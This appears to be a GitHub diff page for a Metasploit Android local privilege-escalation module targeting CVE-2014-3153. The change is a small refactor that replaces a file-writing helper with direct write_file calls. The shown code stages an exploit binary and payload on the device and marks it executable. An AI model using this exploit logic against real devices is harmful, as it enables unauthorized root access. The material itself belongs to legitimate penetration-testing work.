File tree Expand file tree Collapse file tree 1 file changed +2
-8
lines changed
modules/exploits/android/local Expand file tree Collapse file tree 1 file changed +2
-8
lines changed Original file line number Diff line number Diff line change @@ -53,13 +53,7 @@ def initialize(info={})
53
53
def put_local_file ( remotefile )
54
54
localfile = File . join ( Msf ::Config . data_directory , "exploits" , "CVE-2014-3153.elf" )
55
55
data = File . read ( localfile , { :mode => 'rb' } )
56
- put_file ( data , remotefile )
57
- end
58
-
59
- def put_file ( data , remotefile )
60
- unless write_file ( remotefile , data )
61
- print_status ( "could not write: " + remotefile )
62
- end
56
+ write_file ( remotefile , data )
63
57
end
64
58
65
59
def exploit
@@ -69,7 +63,7 @@ def exploit
69
63
70
64
put_local_file ( exploitfile )
71
65
cmd_exec ( '/system/bin/chmod 700 ' + exploitfile )
72
- put_file ( payload . raw , payloadfile )
66
+ write_file ( payloadfile , payload . raw )
73
67
74
68
tmpdir = datastore [ 'WritableDir' ]
75
69
rootclassdir = "#{ tmpdir } #{ Rex ::Text ::rand_text_alpha_lower ( 5 ) } "
You can’t perform that action at this time.
0 commit comments